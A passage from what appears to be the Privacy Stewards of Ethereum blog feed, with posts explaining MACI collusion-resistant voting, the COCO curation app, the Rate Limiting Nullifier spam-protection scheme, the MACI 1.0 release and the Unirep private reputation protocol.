vote. Once a user publishes their message, the Poll contract will store the message and encryption key into the Message Merkle Tree. ## c. Process Messages Once the voting is done for a specific poll, the coordinator will use the PollProcessAndTallyer contract to first prove that they have correctly decrypted each message and applied them to correctly create an updated state tree. This state tree keeps an account of all the valid votes that should be counted. So, when processing the messages, the coordinator will not keep messages that are later overridden by a newer message inside the state tree. For example, if a user votes for option A, but then later sends a new message to vote for option B, the coordinator will only count the vote for option B. The coordinator must process messages in groups so that proving on chain does not exceed the data limit. The coordinator then creates a zk-SNARK proving their state tree correctly contains only the valid messages. Once the proof is ready, the coordinator calls PollProcessorAndTallyer.processMessages(), providing a hash of the state tree and the zk-SNARK proof as an input parameters. The PollProcessorAndTallyer contract will send the proof to a separate verifier contract. The verifier contract is specifically built to read MACI zk-SNARK proofs and tell if they are valid or not. So, if the verifier contract returns true, then everyone can see on-chain that the coordinator correctly processed that batch of messages. The coordinator repeats this process until all messages have been processed. ## d. Tally Votes Finally, once all messages have been processed, the coordinator tallies the votes of the valid messages. The coordinator creates a zk-SNARK proving that the valid messages in the state tree (proved in Process Messages step) contain votes that sum to the given tally result. Then, they call PollProcessorAndTallyer.tallyVotes() with a hash of the correct tally results and the zk-SNARK proof. Similarly to the processMessages function, the tallyVotes function will send the proof to a verifier contract to ensure that it is valid. The tallyVotes function is only successful if the verifier contract returns that the proof is valid. Therefore, once the tallyVotes function succeeds, users can trust that the coordinator has correctly tallied all of the valid votes. After this step, anyone can see the final tally results and the proof that these results are a correct result of the messages sent to the Poll contract. The users won't be able to see how any individual voted, but will be able to trust that these votes were properly processed and counted. ![](https://miro.medium.com/max/1400/0*7Le2odbX7e2etpxR) ## 4\. Conclusion MACI is a huge step forward in preventing collusion for on-chain votes. While it doesn't prevent all possibilities of collusion, it does make it much harder. MACI can already be [seen](https://twitter.com/vitalikbuterin/status/1329012998585733120) to be in use by the [clr.fund](https://blog.clr.fund/round-4-review/), which has users vote on which projects to receive funding. When the possible funding amount becomes very large, users and organizations have a large incentive to collude to receive parts of these funds. This is where MACI can truly make a difference, to protect the fairness of such important voting processes such as those at clr.fund. ]]> maci zero-knowledge proofs privacy voting/governance ethereum collusion resistance smart contracts cryptography <![CDATA[Meet COCO! - Privacy Stewards of Ethereum]]> https://pse.dev/blog/meet-coco-privacy-scaling-explorations https://pse.dev/blog/meet-coco-privacy-scaling-explorations Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[Originally published on Jan 27, 2022]]> <![CDATA[ ![](https://miro.medium.com/max/1400/1*vE2c1d46jXgbOVkDLrOMhA.png) Originally published on Jan 27, 2022: COCO is live on testnet! Try it now: [https://www.cocoverse.club](https://www.cocoverse.club/) Below, we introduce COCO and give short explanation on how it works. For a deeper understanding of COCO visit the [docs](http://docs.cocoverse.club/). ## COCO tl;dr With Coco, groups can collaborate to curate feeds of any topic they’re interested in. As you scroll through your Coco feed, rather than upvoting or downvoting posts, you’ll spend WETH to predict what other group members and the group’s moderators will want to see. When you’re right, you’ll get back your original WETH and more — but if you’re wrong, you’ll lose what you put in. Through this process, you help Coco filter value from noise to make sure group feeds only consist of posts that the group cares about. ## **How does prediction = curation?** Predictions are made by buying shares in the outcome you think is correct. If you think others and moderators will like the post, you buy YES shares, otherwise you buy NO shares. The price of a share during prediction period depends on the proportion of YES/NO shares bought before you. When a final outcome is set (whether as the favored one, or through challenges, or by group moderators) one share of final outcome will be worth 1 WETH and a share of the losing outcome will be worth 0. ![](https://miro.medium.com/max/782/1*iyX8jxFd6Cczbx4TklOHig.jpeg) **Buying YES outcome shares for 0.01 WETH** In other words, every post is a [prediction market](https://www.cultivatelabs.com/posts/prediction-markets-beginner-to-intermediate), and the proportion of YES vs NO predictions determine the likelihood of group members and moderators appreciating the post. That’s the essence of curation in Coco: a group’s feed consists of posts that have high probability of being enjoyed by group members and moderators. ## **Life cycle of a post** **Creation** You need to spend WETH in order to post content in a group. This “creation value” is used both to make a YES prediction for your own post, and to create a pool of YES and NO outcome shares to facilitate predictions by other users. **Prediction** Once a post is created, anyone can make predictions on whether the post will stay on the feed or be buried. At the end of the prediction period, the most favored outcome is set as the “temporary outcome”, and will become the final outcome if not challenged. **Challenge and Resolution** During the Challenge Period, users can stake WETH to challenge the temporary outcome. The temporary outcome is then switched to the outcome favored by the challenger, and the time restarts. If another challenge isn’t submitted before the time limit, then it is set as the final outcome and the post enters the “Final” state. If an outcome is challenged repeatedly, group moderators step in to set the final outcome. **Final State** Once a final outcome is set, the post is in “Final” state. It is either considered suitable for the group’s feed, if final outcome is YES, or not suitable, if the outcome is NO. Now is the time you can redeem your rewards if your prediction was right, and get your stake (+ some reward) back if you staked for the right outcome during challenge period. ## Role of moderators For the most part, group moderators won’t have to get involved in deciding which posts stay in the feed, as long as users agree upon what the moderators _would_ decide. You can think of predictions behaving like a vote, with WETH at stake representing one’s confidence on the post, to encourage voting in the best interest of the group. Moderators don’t control who can join, post, or make predictions on posts in the group. Instead, the key roles of the moderators are to set expectations for what belongs in the feed, decide parameters like the length of the prediction and challenge periods, and declare outcomes when the prediction mechanism doesn’t do its job. As of now, only the user that creates a group is able to act as a moderator of that group. We have plans to enable multiple moderators to coordinate within the app in future releases. ## What’s COCO capable of? The scope of topics for groups is unlimited. You can have groups on Funniest crypto memes of week, Trending NFTs of the month, Top articles of the week in crypto, Most insightful research papers in ML, Most secure contracts, or even Top bars in Switzerland. Whatever the topic, Coco’s curation mechanism will ensure that only the best posts stay on the group’s feed. Right now, it’s only possible to post images. More content types are coming, along with comments and other features. ## Learn more Everything above is good to get you started with Coco, but if you are looking for more guidance around how to use the app or want to understand Coco better, check out our [docs](https://docs.cocoverse.club/). ## Tell us what you think! COCO is still being developed, and we’d love to hear your feedback and ideas. Fill out [this form](https://airtable.com/shrsVVVLBuawaCDvE) to share your thoughts! Also join our [telegram group](https://t.me/+A47HJeqh0-tlODI1) for any questions and further discussions. _Thanks to Althea, Barry, Rachel, and Thore for discussions and ideas around Coco, which truly helped shaping Coco._ ]]> prediction market social ethereum web3 user experience public goods community curation moderation infrastructure/protocol <![CDATA[Rate Limiting Nullifier: A spam-protection mechanism for anonymous environments]]> https://pse.dev/blog/rate-limiting-nullifier-a-spam-protection-mechanism-for-anonymous-environments https://pse.dev/blog/rate-limiting-nullifier-a-spam-protection-mechanism-for-anonymous-environments Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[In this post we describe a mechanism that can be used to prevent spam in anonymous environments. We provide a technical overview, some examples and use cases. The goal is to get more people excited about the idea and hopefully implement it in practice.]]> <![CDATA[ Originally published on Aug 30, 2021: RLN (Rate limiting nullfier) is a construct based on [zero-knowledge proofs](https://en.wikipedia.org/wiki/Zero-knowledge_proof) that enables spam prevention mechanism for decentralized, anonymous environments. In anonymous environments, the identity of the entities is unknown. The anonymity property opens up the possibility for spam attack and sybil attack vectors for certain applications, which could seriously degrade the user experience and the overall functioning of the application. For example, imagine a decentralised voting application where the user identities are anonymous. Without any spam protection mechanism the voting outcomes can be easily manipulated, thus making the application unusable. Let's take a fully anonymous group chat application as another example. Not having a proper spam prevention mechanism enables anyone to pollute the group chats easily. The application would not be able to recognise the spammer and remove them, because the origin of the messages is unknown. For a pseudo-anonymous group chat application, sybil attacks represent a bigger treat. Even if the application can properly remove the spammers, new pseudo-anonymous identities can be spawned easily and pollute the application. Thus having a reliable spam detection and prevention mechanism, which enables anonymity is very important. The RLN construct prevents sybil attacks by increasing the cost of identity replication. To be able to use an application that leverages the RLN construct and be an active participant, the users must provide a stake first. The stake can be of economic or social form, and it should represent something of high value for the user. The user identity replication will be very costly or impossible in some cases (again depending on the application). Providing a stake does not reveal the user's identity, it is just a membership permit for application usage, a requirement for the user to participate in the app's specific activities. An example for an economic stake is cryptocurrency such as Ether, and example for social stake is a reputable social media profile. Staking also disincentivizes the users to spam, as spamming is contrary to their interest. The proof system of the RLN contract enforces revealing the user credentials upon breaking the anti-spam rules. By having the user's credentials, anyone can remove the user from the application and withdraw their stake. The user credentials are associated with the user's stake. ## Technical overview The RLN construct's functionality consists of three parts, which when integrated together provide spam and sybil attack protection. These parts should be integrated by the upstream applications which require anonymity and spam protection. The applications can be centralized or decentralized. For decentralized applications, each user maintains a separate storage and compute resources for the application. The three parts are: - user registration - user interactions - user removal ## User registrations Before registering to the application the user needs to generate a secret key and derive an identity commitment from the secret key using the [Poseidon hash function](https://eprint.iacr.org/2019/458.pdf) (_identityCommitment = posseidonHash(secretKey))._ The user registers to the application by providing a form of stake and their identity commitment, which is derived from the secret key. The application maintains a [Merkle tree](https://en.wikipedia.org/wiki/Merkle_tree) data structure (in the latest iteration of the RLN construct we use the [Incremental Merkle Tree](https://arxiv.org/pdf/2105.06009v1.pdf) algorithm), which stores the identity commitments of the registered users. Upon successful registration the user's identity commitment is stored in a leaf of the Merkle tree and an index is given to them, representing their position in the tree. ## User interactions For each interaction that the user wants to make with the application, the user must generate a zero-knowledge proof which ensures the other participants (the verifiers) that they are a valid member of the application and their identity commitment is part of the membership Merkle tree. The interactions are app specific, such as voting for voting application and message sending for chat applications. The verifier is usually a server for centralized applications, or the other users for decentralized applications. Anti-spam rule is also introduced for the protocol. The rule is usually in the form of: `Users must not make more than X interactions per epoch`. The epoch can be translated as time interval of `Y` units of time unit `Z`. For simplicity sake, let's transform the rule into: `Users must not send more than 1 message per second.` The anti-spam rule is implemented using the [Shamir's Secret Sharing scheme](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing), which enables secret sharing by using polynomials. SSS allows for a secret to be split into multiple shares, from which a minimum number is needed to reconstruct the original secret. This can be also written as: any M of N shares are needed to reliably reconstruct the secret (M, N). The minimum number is determined by the polynomial used for the scheme. If the minimum number of shares needed to recover the secret is set to `X` then `X-1` degree polynomial needs to be used. In our case the secret is the user's secret key, and the shares are parts of the secret key. To implement the simplified anti-spam rule we can implement a (2,3) SSS scheme using a linear polynomial. This means that the user's secret key can be reconstructed if they send two messages per epoch. For these claims to hold true, the user's ZK proof must also include shares of their secret key (the X and Y shares) and the epoch. By not having any of these fields included the ZK proof will be treated as invalid. For each interaction they make, the users are leaking a portion of their secret key. Thus if they make more interactions than allowed per epoch their secret key can be fully reconstructed by the verifiers. ## User removal The final property of the RLN mechanism is that it allows for the users to be removed from the membership tree by anyone that knows their secret key. The membership tree contains the identity commitments of all registered users. User's identity commitment is derived from their secret key, and the secret key of the user is only revealed in a spam event (except for the scenarios where the original users wants to remove themselves, which they can always do because they know their secret key). When an economic stake is present, the RLN mechanism can be implemented in a way that the spammer's stake is sent to the first user that correctly reports the spammer by providing the reconstructed secret key of the spammer as a proof. ## RLN example The following is an example scenario for a decentralised anonymous chat application. The chat application uses a smart contract as a registry which holds the registered users stake and stores a list of registered users. The registry smart contract has only two functions, register and withdrawal, and it also emits events when a new member registers and when a member is slashed. The users maintain RLN membership trees locally, which represent the state of registered users for the application. By "pubKey", we refer to the user's identity commitment, and by "privKey" to their secret key. ![](https://miro.medium.com/max/1400/1*zIFheJ70SJWdLFvfdgev3w.jpeg) Step 1: Charlie wants to be an active participants and sends a registration transaction to the smart contract, providing his stake. The smart contract emits event that a new identity commitment was registered and each user should update their RLN membership tree with the newly registered identity commitment. ![](https://miro.medium.com/max/1400/1*CczM9RZzlihLv7Ot4TTdwA.jpeg) Step 2: Charlie sends a message in epoch 1 to Alice and Bob, with all of the required parameters and valid ZK proof. ![](https://miro.medium.com/max/1400/1*A9ybuXMaZtmwrEeXE71OKA.jpeg) Step 3: Charlie sends second message in epoch 1 to Alice and Bob. All the message parameters are valid as well as the ZK proof. Charlie violated the anti-spam rules and Alice and Bob can reconstruct Charlie's secret key and remove him from their RLN membership tree. ![](https://miro.medium.com/max/1400/1*dyBsMECE7v8ho-0hYskf4Q.jpeg) Step 4: Alice sends withdrawal transaction to the RLN Membership smart contract to withdraw Charlie's stake. The smart contract emits an event which signals that Charlie is banned from the application and should be flagged as such by all of the users. ## Use cases The RLN construct can be used by broad range of applications which operate in anonymous environments. Essentially every application that enables interactions for users with anonymous identities needs a spam protection by some degree. There are many use cases, but we've identified few which we think are very interesting for applying the RLN construct and experimenting with it: - [Private communication channel for ETH2 validators](https://ethresear.ch/t/private-message-sharing-for-eth2-validators/10664) - Instant messaging applications for private and anonymous communications - [Cloudflare-like service which uses RLN for spam protection (instead of captcha)](https://ethresear.ch/t/decentralised-cloudflare-using-rln-and-rich-user-identities/10774) - Decentralised, anonymous voting applications - Privacy preserving peer to peer networks In the upcoming posts that we will publish on [ethresear.ch](https://ethresear.ch/), we will provide detailed overview as well as technical specifications for these ideas. ## History The initial idea and the needs for RLN are described by Barry WhiteHat in [this post.](https://ethresear.ch/t/semaphore-rln-rate-limiting-nullifier-for-spam-prevention-in-anonymous-p2p-setting/5009) The RLN construct was implemented by [Onur Kilic](https://github.com/kilic) which can be found [here](https://github.com/kilic/rln). He also created a [demo application](https://github.com/kilic/rlnapp) using the RLN construct. [The Vac research team](https://vac.dev/) has been heavily experimenting with the RLN construct. Their plan is to use it in production for [Waku v2](https://vac.dev/waku-v2-plan) which is a privacy-preserving peer-to-peer messaging protocol for resource restricted devices. ## Additional resources The RLN construct specification — [https://hackmd.io/@aeAuSD7mSCKofwwx445eAQ/BJcfDByNF](https://hackmd.io/@aeAuSD7mSCKofwwx445eAQ/BJcfDByNF) The updated RLN circuits — [https://github.com/appliedzkp/rln](https://github.com/appliedzkp/rln) A great post about why RLN is important and how it can solve the spam attack problems for Waku v2 — [https://vac.dev/rln-relay](https://vac.dev/rln-relay). Video by Barry Whitehat explaining the needs for spam protection and also the RLN construct and some potential application — [https://www.youtube.com/watch?v=cfx1udF7IJI](https://www.youtube.com/watch?v=cfx1udF7IJI). Thoughts on DoS protection and spam related problems for the Status chat application — [https://discuss.status.im/t/longer-form-thoughts-on-dos-spam-prevention/1973](https://discuss.status.im/t/longer-form-thoughts-on-dos-spam-prevention/1973) RLN incentives for p2p networks — [https://ethresear.ch/t/rln-incentives-for-p2p-networks/8085](https://ethresear.ch/t/rln-incentives-for-p2p-networks/8085) Tutorial and PoC application on how to use RLN in practice — [https://github.com/bdim1/rln-anonymous-chat-app](https://github.com/bdim1/rln-anonymous-chat-app) ## Call to action We are actively searching for developers to implement RLN. If you are interested reach out in our [Telegram channel](https://t.me/joinchat/Le3cTB0izAjf1jzHyJfeOg). ]]> rln nullifiers zero-knowledge proofs privacy anonymity/privacy security cryptography merkle tree infrastructure/protocol ethereum <![CDATA[Release Announcement: MACI 1.0 - Privacy Stewards of Ethereum]]> https://pse.dev/blog/release-announcement-maci-10-privacy-scaling-explorations https://pse.dev/blog/release-announcement-maci-10-privacy-scaling-explorations Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[ ![](https://miro.medium.com/max/1400/1*cG0UuKR3QU0xMr8xBAq4Qg.png) Originally published on Oct 12, 2021: The Privacy Stewards of Ethereum team is proud to release version 1.0 of Minimal Anti-Collusion Infrastructure (MACI). MACI enables collusion resistance for decentralised applications, particularly voting and quadratic funding systems. This release is a major upgrade to the project and provides better developer experience and gas savings for users. The code is in the `v1` branch of the `appliedzkp/maci`repository and will be merged soon. MACI 1.0 was audited by [Hashcloak](https://hashcloak.com/). All vulnerabilities found have been fixed. The audit report can be found [here](https://github.com/appliedzkp/maci/blob/v1/audit/20210922%20Hashcloak%20audit%20report.pdf). We would like to thank our highly professional and responsive auditors for surfacing these issues and providing clear feedback for addressing them. ## About MACI MACI is a set of smart contracts and zero-knowledge circuits upon which developers can build collusion-resistant applications, such as voting systems or quadratic funding platforms. MACI per se is not a user-facing application. Rather, developers may build applications on top of it. In turn, such applications can benefit from the following properties: Comment - **Collusion resistance**: no-one, except a trusted coordinator, can be convinced of the validity of a vote, reducing the effectiveness of bribery. - **Receipt-freeness**: a voter cannot prove, besides to the coordinator, which way they voted. - **Privacy**: no-one, except a trusted coordinator, should be able to decrypt a vote. - **Uncensorability**: no-one, not even the trusted coordinator, should be able to censor a vote. - **Unforgeability**: only the owner of a user’s private key may cast a vote tied to its corresponding public key. - **Non-repudiation**: no-one may modify or delete a vote after it is cast, although a user may cast another vote to nullify it. - **Correct execution**: no-one, not even the trusted coordinator, should be able to produce a false tally of votes. Practically speaking, MACI provides a set of Typescript packages, Ethereum smart contracts and zero-knowledge circuits. It inherits security and uncensorability from the underlying Ethereum blockchain, ensures unforgeability via asymmetric encryption, and achieves collusion resistance, privacy, and correct execution via [zk-SNARKs](https://docs.ethhub.io/ethereum-roadmap/privacy/). **Please note that MACI does not and will not have a token. In other words, it does not represent an investment opportunity.** ## MACI’s history MACI stems from an [ethresear.ch post by Vitalik Buterin](https://ethresear.ch/t/minimal-anti-collusion-infrastructure/5413?u=weijiekoh). Subsequently, the initial codebase was written in late 2019 and early 2020 by grantees with the Ethereum Foundation, namely [Kendrick Tan](https://twitter.com/kendrick_tn), [Koh Wei Jie](https://kohweijie.com/), and [Chih-Cheng Liang](https://twitter.com/chihchengliang). MACI then saw developer adoption at ETHDenver in February 2020, where [Auryn Macmillan](https://twitter.com/auryn_macmillan) and others started work on [clr.fund](https://clr.fund/), a protocol for the Ethereum community to allocate funds for Ethereum-based public goods. After the event, we continued to work with clr.fund to improve MACI and integrate it with their application. clr.fund has completed seven rounds of public goods funding, the last of which saw more than US$6000 worth of contributions. At the time of writing, it is currently running an [eighth round](https://clr.fund/#/round/0xd07AA7FAeBA14EFde87f2538699C0D6C9a566C20) with more than US$20k in contributions. Work on version 1.0 started in late 2020 with the goal of reducing the gas and computational requirements, as well as to improve its flexibility and usability, without compromising any of its anti-collusion, security, and trust guarantees. We also took this opportunity to keep up with new techniques, ideas, and tooling from the rapidly advancing Ethereum and zero-knowledge ecosystem. Finally, in early 2021 we were very fortunate to bring on [Cory Dickson](http://corydickson.com/) to the team. His work on writing documentation, revamping MACI’s integration test suites, working with our auditors to fix bugs, and collaborating with external teams has been invaluable to the project. ## Why is MACI important? It is very difficult for naive voting systems, particularly those which are integrated into smart contract platforms, to prevent collusion. For instance, if a simple Ethereum transaction represents a vote, a briber can easily examine its calldata, tell how its sender voted, and reward or punish them accordingly. More broadly, collusion resistance is particularly important for cryptoeconomic systems. Vitalik Buterin describes the motivations behind MACI in _[On Collusion](https://vitalik.ca/general/2019/04/03/collusion.html)_. He argues that systems that use cryptoeconomic incentive mechanisms to align participants’ behaviour can be vulnerable to collusion attacks, such as bribery. In [another post](https://vitalik.ca/general/2021/05/25/voting2.html), he elaborates: > _if you can prove how you voted, selling your vote becomes very easy. Provability of votes would also enable forms of coercion where the coercer demands to see some kind of proof of voting for their preferred candidate._ To illustrate this point, consider an alleged example of collusion that [occurred in round 6 of Gitcoin grants](https://gitcoin.co/blog/how-to-attack-and-defend-quadratic-funding/) (a platform for quadratic funding software projects which contribute to public goods). In _[How to Attack and Defend Quadratic Funding](https://gitcoin.co/blog/how-to-attack-and-defend-quadratic-funding/)_, an author from Gitcoin highlights a tweet by a potential grant beneficiary appeared to offer 0.01 ETH in exchange for matching funds: ![](https://miro.medium.com/max/1360/0*_aKOFcRGzjl4RcBB.png) They explain the nature of this scheme: > _While creating fake accounts to attract matching funds can be prevented by sybil resistant design, **colluders can easily up their game by coordinating a group of real accounts to “mine Gitcoin matching funds” and split the “interest” among the group**._ Finally, MACI is important because as crypto communities are increasingly adopting Decentralised Autonomous Organisations (DAOs) which [govern through token voting](https://vitalik.ca/general/2021/08/16/voting3.html). The threat of bribery attacks and other forms of collusion will only increase if left unchecked, since such attacks target a fundamental vulnerability of such systems. ## What’s new? In this release, we rearchitected MACI’s smart contracts to allow for greater flexibility and separation of concerns. In particular, we support multiple polls within a single instance of MACI. This allows the coordinator to run and tally many elections either subsequently or concurrently. ![](https://miro.medium.com/max/1400/0*i0MnnOBj18B_62Zt) We’ve kept the ability for developers to provide their own set of logic to gate-keep signups. For instance, application developers can write custom logic that only allows addresses which own a certain token to sign up once to MACI in order to participate in polls. An additional upgrade we have implemented is greater capacity for signups, votes, and vote options. With MACI 1.0, a coordinator can run a round that supports more users, votes, and choices than before, even with the same hardware. We adopted iden3’s tools for [faster proof generation](https://github.com/iden3/rapidsnark). Furthermore, we rewrote our zk-SNARK circuits using the latest versions of [snarkjs](https://github.com/iden3/snarkjs), [circom](https://github.com/iden3/circom), and [circomlib](https://github.com/iden3/circomlib). We also developed additional developer tooling such as [circom-helper](https://github.com/weijiekoh/circom-helper) and [zkey-manager](https://github.com/appliedzkp/zkey-manager). Finally, we significantly reduced gas costs borne by users by replacing our incremental Merkle tree contracts with a modified [deposit queue mechanism](https://ethresear.ch/t/batch-deposits-for-op-zk-rollup-mixers-maci/6883). While this new mechanism achieves the same outcome, it shifts some gas costs from users to the coordinator. A comparison of approximate gas costs for user-executed operations is as follows: ![](https://miro.medium.com/max/972/1*m3G3FB9x1-3X23HER3A4oQ.png) Finally, we are looking forward to collaborating with other projects and supporting their development of client applications and new use cases. For instance, clr.fund team has indicated that they would like to upgrade their stack to MACI v1.0, and other projects have expressed interest in adopting MACI. We hope that through collaboration, the Ethereum community can benefit from our work, and vice versa. ## Further work There is plenty of space for MACI to grow and we welcome new ideas. We are keen to work with developers who wish to do interesting and impactful work, especially folks who would like to learn how to build applications with zk-SNARKs and Ethereum. ## Negative voting We thank [Samuel Gosling](https://twitter.com/xGozzy) for completing a grant for work on [negative voting](https://github.com/appliedzkp/maci/pull/283). This allows voters to use their voice credits to not only signal approval of a vote option, but also disapproval. Please note that the negative voting branch, while complete, is currently unaudited and therefore not yet merged into the main MACI codebase. ## Anonymisation A [suggested upgrade to MACI is to use ElGamal re-randomisation for anonymity of voters](https://ethresear.ch/t/maci-anonymization-using-rerandomizable-encryption/7054). While all votes are encrypted, currently the coordinator is able to decrypt and read them. With re-randomisation, the coordinator would not be able to tell which user took which action. We are working on tooling that makes it easier for coordinators to interface with deployed contracts and manage tallies for multiple polls. This will allow users to generate proofs and query inputs and outputs from existing circuits through an easy-to-use API. We hope that this will drive more adoption of MACI and offload the need for bespoke infrastructure. ## Trusted setup Unlike other ZKP projects, MACI does not have an official [trusted setup](https://zeroknowledge.fm/133-2/). Instead, we hope to assist teams implementing MACI in their applications to run their own trusted setup. For instance, [clr.fund recently completed a trusted setup](https://blog.clr.fund/trusted-setup-completed/) (on a previous version of MACI) for a specific set of circuit parameters. Other teams may wish to use a different set of parameters on MACI 1.0, which calls for a different trusted setup. ## Conclusion This release marks a step towards the hard problem of preventing collusion in decentralised voting and quadratic funding systems. We are excited to share our work and please get in touch if you are a developer and are interested in getting involved in any way. ]]> maci privacy zero-knowledge proofs collusion resistance voting quadratic funding ethereum zk-snarks governance infrastructure/protocol <![CDATA[Unirep: A private and non-repudiable reputation system]]> https://pse.dev/blog/unirep-a-private-and-non-repudiable-reputation-system https://pse.dev/blog/unirep-a-private-and-non-repudiable-reputation-system Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[Unirep is a protocol that allows users to receive and give reputation anonymously and prove their own reputation on other platforms that support the protocol.]]> <![CDATA[ _Originally published on Aug 26, 2021_ ![](https://miro.medium.com/max/1106/0*nr6Aia8myVXSIZ2R) ## What is the Unirep protocol? [Unirep](https://github.com/Unirep/Unirep) is a private and non-repudiable reputation protocol built on Ethereum using zero knowledge proof technology. The protocol offers a system where users can: - Anonymously give positive and negative reputation to others - Receive positive and negative reputation from other anonymous users while not being able to refuse to accept the reputation (non-repudiable). - Voluntarily prove that they have at least a certain amount of reputation without revealing the exact amount. Using Unirep, we can build applications that provide people with new types of experiences where they can build private reputation. Named after **Uni**versal\*\* Rep\*\*utation, \*\*UniRep \*\*technology allows people to easily apply their reputation across multiple communities using interoperable smart contracts all while preserving user privacy using zero knowledge proofs. This allows us to reimagine how existing web applications work. Many services from online shopping, social media to the sharing-economy, not to mention blockchain applications leverage reputation systems and could benefit from this approach. One use case, which we are working on, is a social media application on top of Unirep, let’s call it Unirep Social for this post. The motivation is to foster open dialogue among anonymous users who are all participating with only the reputation they’ve built up within platforms using the Unirep Protocol. Imagine Alice has an account on a reddit-like platform and has received a lot of karma from other users. A minimum amount of karma is required to make posts in some subreddits and other users will take posts of accounts with high Karma scores more seriously. One day Alice wants to make a post about something that she doesn’t want to be associated with for the rest of her internet life. She could create a new account on the platform but this would mean she needs to start accumulating karma from scratch. Using Unirep we can allow Alice to stay completely private but still accumulate karma and allow her to prove her karma score to others. ## Why does this matter? Traditional social media apps have built entire economies around public reputation. The more content (regardless of quality) and engagement with that content (positive or negative) the greater the reputation can be. It costs nothing to post, comment or like/dislike cultivating a reactive communication environment. Following are some of the issues caused by public, reputable protocols: - Public figures often receive [irrelevant responses](https://youtu.be/oLsb7clrXMQ?t=1000) to their posts regardless of their posts intellectual merit (or lack thereof). - People with few followers can go unheard regardless of the quality of what they have shared. - Anyone can receive a response skewed by the threat of social repercussions if the opinion they post differs from their followers expectations. Public prominence (or lack thereof) need not influence the collective attention paid to any post or comment. The community anonymously chooses which anonymous content creators it empowers and disempowers. Furthermore, if a person chooses to share their reputation score, it can be proven that they meet a selected threshold without revealing their exact reputation. ## The Unirep Protocol Explained The following is a high level overview of the Unirep protocol. We use the social media application Unirep Social as an illustrative example. If you are interested to learn more stay tuned for a more detailed post or dive right in on [Github](https://github.com/Unirep/Unirep). To begin, let us define the two different actors who interact with the Unirep protocol: users and attesters. **Users** can receive and spend reputation, prove their reputation, and use temporary identities called **epoch keys** to interact with other people. Users can generate five new epoch keys every epoch (in this case, 7 days). In a way, the user gets a completely new identity every epoch which preserves their privacy. **Attesters** represent users to give reputation to an epoch key. Attester IDs are public and unchangeable so users can always prove that the reputation is from the attester. In the Unirep Social example an attester would be the Unirep Social application and Users are users of the application who vote on each other’s comments. ## **1\. Registration** Users and attesters use different ways to sign up in Unirep. ![](https://miro.medium.com/max/1400/0*wcqrf4SN2TRx38YI) _User signup and attester signup in Unirep_ ## User A user generates identity and identity commitment through [Semaphore](https://github.com/appliedzkp/semaphore).\*\* \*\*Semaphore is a zero-knowledge gadget which allows Ethereum users to prove their membership of a set which they had previously joined without revealing their original identity. The user hoIds the identity like a private key, and the identity commitment is like a public key that is submitted to the Unirep contract. ## Attester The attester uses his own wallet or the address of a smart contract to register. After calling the attester sign up function, the Unirep contract will assign an attester ID to this address. Whenever the attester gives an attestation, the Unirep contract will check whether the address is registered. If it is registered, the attester is allowed to give reputation to an epoch key. **Note:** Everyone can sign up as an attester with their wallet address and will receive a new attester ID ## 2\. Give Reputation Only epoch keys can receive attestations. The next graphic shows how attesters and users interact in the Unirep Protocol. ![](https://miro.medium.com/max/1400/0*zxlIej01nppoYBoc) _How an attester attests to an epoch key_ After Alice signs up to Unirep, she can generate epoch keys to receive reputation. These epoch keys change every epoch, are unique to every user and look completely random. In the Unirep Social example users can make posts with their epoch keys. Now, when a user sees a post made by an epoch key, how can others know that it is indeed from a registered user? And how can they be sure that the epoch key is computed correctly with the current epoch and a valid nonce? Alice can not simply provide this information since this would enable everyone to calculate what reputation Alice has received, removing the desired privacy. This is where zero-knowledge proofs (ZKP) come into play. A ZKP is used to prove that the epoch key is valid without revealing additional information. For details, please refer to the [epoch key proof](https://github.com/Unirep/Unirep/blob/f69b39c6011ae80cd2cb868f8da0eea594ab8cff/packages/circuits/circuits/verifyEpochKey.circom), which proves that the user is indeed registered, and the epoch and nonce are valid numbers. The user can see the `epoch_key` in the post and the `epoch_key_proof` provided by Alice, and verifies them through the Unirep contract, and then can give an attestation through the attester (in our example Unirep Social) to the epoch key. Users can also _spend_ reputation if it makes sense for the application. They would generate a reputation proof about their current amount of reputation and the attester will send a negative reputation to decrease the balance. Spending reputation is a way for users to give reputation to other users through an attester without having to register as an attester themselves. ## 3\. Receive Reputation A user can prove which epoch key she owns and everyone can easily query how much reputation the epoch key has from the contract. A user that has received some bad reputation during a certain epoch could decide not to show those epoch keys to other users. Therefore, after an epoch ends and all epoch keys are sealed, Unirep restricts users to generate a User State Transition proof that is used to update their reputation status. ![](https://miro.medium.com/max/1400/0*t18QHcnKhY5LA5P8) _User State Transition in Unirep_ The [User State Transition Proof](https://github.com/Unirep/Unirep/blob/f69b39c6011ae80cd2cb868f8da0eea594ab8cff/packages/circuits/circuits/userStateTransition.circom) is used to ensure that the user calculates the latest user state in the correct way, and the user does not miss any attestation. In other words, after an epoch is over, Alice can collect reputation from other users (via Unirep Social) through User State Transition and update her reputation status. ## 4\. Prove Reputation After Alice performs a User State Transition, she will have the latest user state. At this time, Alice can prove to everyone on the platform how many reputation points she has in Unirep Social through a [reputation proof](https://github.com/Unirep/Unirep/blob/f69b39c6011ae80cd2cb868f8da0eea594ab8cff/packages/circuits/circuits/proveReputation.circom). The reputation proof checks whether the user exists, has the claimed reputation (for example it sums up positive and negative reputation from specified attester IDs), and performs User State Transition. For privacy reasons it could be disadvantageous to reveal the exact amount of reputation one has received. If Alice has 100 karma in total, Unirep allows Alice to prove that she has \*“at least 10 karma” \*instead of revealing that the total is 100. ## Conclusion Unirep s a reputation system with privacy protection. Thanks to ZKP magic, users can receive reputation, give reputation, and prove reputation to others **anonymously**. Unirep can be used for cross-application reputation certification. One can obtain reputation in application A, and prove in application B how much reputation is obtained. If you want to learn more about Unirep, you can refer to [Github](https://github.com/Unirep/Unirep), [documents](https://unirep.gitbook.io/unirep/) or join the [Discord channel](https://discord.gg/VzMMDJmYc5) to discuss. _Special thanks to Thore and Rachel for feedback and review._ ]]> unirep privacy reputation zero-knowledge proofs identity semaphore ethereum social anonymity/privacy infrastructure/protocol <![CDATA[BLS Wallet: Bundling up data - Privacy Stewards of Ethereum]]> https://pse.dev/blog/bls-wallet-bundling-up-data-privacy-scaling-explorations https://pse.dev/blog/bls-wallet-bundling-up-data-privacy-scaling-explorations Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[BLS Wallet is an end-to-end system allowing wallets, dapps, and L2 nodes 